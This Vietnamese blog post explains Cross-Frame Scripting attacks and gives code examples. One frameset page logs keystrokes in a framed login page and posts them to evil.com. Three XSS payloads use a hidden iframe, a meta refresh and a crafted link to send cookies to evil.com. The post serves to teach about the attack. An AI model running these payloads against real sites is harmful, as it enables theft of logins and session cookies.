Rate this post

Cross-Frame Scripting (XFS) là một cuộc tấn công kết hợp JavaScript độc hại với iframe tải một trang hợp pháp nhằm cố gắng lấy cắp dữ liệu từ một người dùng không nghi ngờ. Cuộc tấn công này thường chỉ thành công khi kết hợp với kỹ thuật xã hội. Một ví dụ sẽ bao gồm một kẻ tấn công thuyết phục người dùng điều hướng đến một trang web mà kẻ tấn công kiểm soát. Sau đó, trang của kẻ tấn công sẽ tải JavaScript độc hại và iframe HTML trỏ đến một trang web hợp pháp. Khi người dùng nhập thông tin đăng nhập vào trang web hợp pháp trong iframe, JavaScript độc hại sẽ đánh cắp các lần gõ phím.

Các bài viết liên quan:

Các yếu tố rủi ro

Mô hình bảo mật trình duyệt tiêu chuẩn cho phép JavaScript từ một trang web truy cập nội dung của các trang khác đã được tải trong các cửa sổ hoặc khung trình duyệt khác nhau miễn là các trang khác đó được tải từ cùng một máy chủ hoặc miền gốc. Nó không cho phép truy cập vào các trang đã được tải từ các máy chủ hoặc tên miền khác nhau (xem bài viết MSDN Giới thiệu về Tập lệnh và Bảo mật Cross-Frame). Tuy nhiên, các lỗi cụ thể trong mô hình bảo mật này tồn tại trong các trình duyệt cụ thể, cho phép kẻ tấn công truy cập một số dữ liệu trong các trang được tải từ các máy chủ hoặc tên miền khác nhau. Lỗi nổi tiếng nhất như vậy ảnh hưởng đến IE, làm rò rỉ các sự kiện bàn phím trên các bộ khung HTML (xem iDefense Labs tư vấn cho Microsoft Internet Explorer Vượt qua Hạn chế Tập lệnh Khung). Ví dụ: lỗi này có thể cho phép kẻ tấn công lấy cắp thông tin đăng nhập của người dùng trình duyệt khi họ cố gắng nhập chúng vào biểu mẫu đăng nhập của trang web của bên thứ ba.

Các ví dụ

Tấn công XFS chống lại IE

Để khai thác lỗi IE làm rò rỉ các sự kiện bàn phím trên các bộ khung, kẻ tấn công có thể tạo một trang web tại evil.com mà kẻ tấn công kiểm soát và đưa vào trang evil.com một khung hiển thị hiển thị trang đăng nhập example.com. Kẻ tấn công có thể ẩn đường viền của khung và mở rộng khung để bao phủ toàn bộ trang, để người dùng trình duyệt trông giống như họ đang thực sự truy cập example.com Kẻ tấn công đăng ký một số JavaScript trong trang evil.com chính, trang này lắng nghe tất cả các khóa sự kiện trên trang. Thông thường, trình nghe này sẽ chỉ được thông báo về các sự kiện từ trang evil.com chính – nhưng do lỗi trình duyệt, trình nghe này cũng được thông báo về các sự kiện từ trang example.com được đóng khung. Vì vậy, mỗi lần nhấn phím mà người dùng trình duyệt thực hiện trong khung example.com, trong khi cố gắng đăng nhập vào example.com, đều có thể bị kẻ tấn công bắt và báo cáo lại cho evil.com:

<!-- http://evil.com/example.com-login.html -->
<head>
<script>
// array of user keystrokes
var keystrokes = [];
// event listener which captures user keystrokes
document.onkeypress = function() {
    keystrokes.push(window.event.keyCode);
}
// function which reports keytrokes back to evil.com every second
setInterval(function() {
    if (keystrokes.length) {
        var xhr = newXHR();
        xhr.open("POST", "http://evil.com/k");
        xhr.send(keystrokes.join("+"));
    }
    keystrokes = [];
}, 1000);
// function which creates an ajax request object
function newXHR() {
    if (window.XMLHttpRequest)
        return new XMLHttpRequest();
    return new ActiveXObject("MSXML2.XMLHTTP.3.0");
}
</script>
</head>
<!-- re-focusing to this frameset tricks browser into leaking events -->
<frameset onload="this.focus()" onblur="this.focus()">
<!-- frame which embeds example.com login page -->
<frame src="http://example.com/login.html">
</frameset>

Tấn công XSS bằng cách sử dụng Frames

Để khai thác Cross Site Scripting trên trang web của bên thứ ba tại example.com, kẻ tấn công có thể tạo một trang web tại evil.com, trang mà kẻ tấn công kiểm soát và bao gồm một iframe ẩn trong trang evil.com. Khung nội tuyến tải trang example.com có ​​lỗ hổng và chèn một số tập lệnh vào đó thông qua lỗ hổng XSS. Trong ví dụ này, trang example.com in giá trị của tham số truy vấn “q” từ URL của trang trong nội dung của trang mà không thoát giá trị. Điều này cho phép kẻ tấn công đưa một số JavaScript vào trang example.com, trang này đánh cắp cookie example.com của người dùng trình duyệt và gửi cookie qua một yêu cầu hình ảnh giả mạo đến evil.com (URL src của iframe được bao bọc để dễ đọc):

<iframe style="position:absolute;top:-9999px" src="http://example.com/↵
    flawed-page.html?q=<script>document.write('<img src=\"http://evil.com/↵
    ?c='+encodeURIComponent(document.cookie)+'\">')</script>"></iframe>

Khung nội tuyến bị ẩn ngoài màn hình, vì vậy người dùng trình duyệt sẽ không biết rằng họ vừa “truy cập” trang example.com. Tuy nhiên, cuộc tấn công này thực sự giống như một cuộc tấn công XSS thông thường, vì kẻ tấn công có thể chỉ cần chuyển hướng người dùng trực tiếp đến trang example.com, sử dụng nhiều phương pháp, bao gồm một phần tử meta như thế này (một lần nữa, URL của phần tử meta được bao bọc để dễ đọc):

<meta http-eqiv="refresh" content="1;url=http://example.com/↵
    flawed-page.html?q=<script>document.write('<img src=\"http://evil.com/↵
    ?c='+encodeURIComponent(document.cookie)+'\">')</script>">

Sự khác biệt duy nhất là khi sử dụng iframe, kẻ tấn công có thể ẩn khung hình ngoài màn hình – vì vậy người dùng trình duyệt sẽ không biết rằng họ vừa “truy cập” example.com. Khi sử dụng chuyển hướng để điều hướng trực tiếp đến example.com, trình duyệt sẽ hiển thị url example.com trong thanh địa chỉ của trình duyệt và trang example.com trong cửa sổ của trình duyệt, vì vậy người dùng trình duyệt sẽ biết rằng họ đang truy cập ví dụ. .com.

Một cuộc tấn công XSS khác bằng cách sử dụng Frames

Để khai thác cùng một Cross Site Scripting như trên tại example.com (in giá trị của tham số truy vấn “q” từ URL của trang trong nội dung của trang mà không thoát giá trị), kẻ tấn công có thể tạo một trang web tại evil.com, mà kẻ tấn công kiểm soát, bao gồm một liên kết như sau và khiến người dùng nhấp vào liên kết. Liên kết này đưa một iframe vào trang example.com bằng cách khai thác lỗ hổng XSS với tham số truy vấn “q”; iframe chạy một số JavaScript để đánh cắp cookie example.com của người dùng trình duyệt và gửi nó qua một yêu cầu hình ảnh giả mạo đến evil.com (URL được bao bọc để dễ đọc):

http://example.com/flawed-page.html?=<iframe src="↵
    javascript:document.body.innerHTML=+'<img src=\"http://evil.com/↵
    ?c='+encodeURIComponent(document.cookie)+'\">'"></iframe>

Một lần nữa, cuộc tấn công này có hiệu quả giống như một cuộc tấn công XSS thông thường; kẻ tấn công chỉ cần sử dụng thuộc tính src của phần tử iframe được đưa vào làm phương tiện để chạy một số mã javascript trong trang bị tấn công.

Trả lời

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *

Contact Me on Zalo
Call now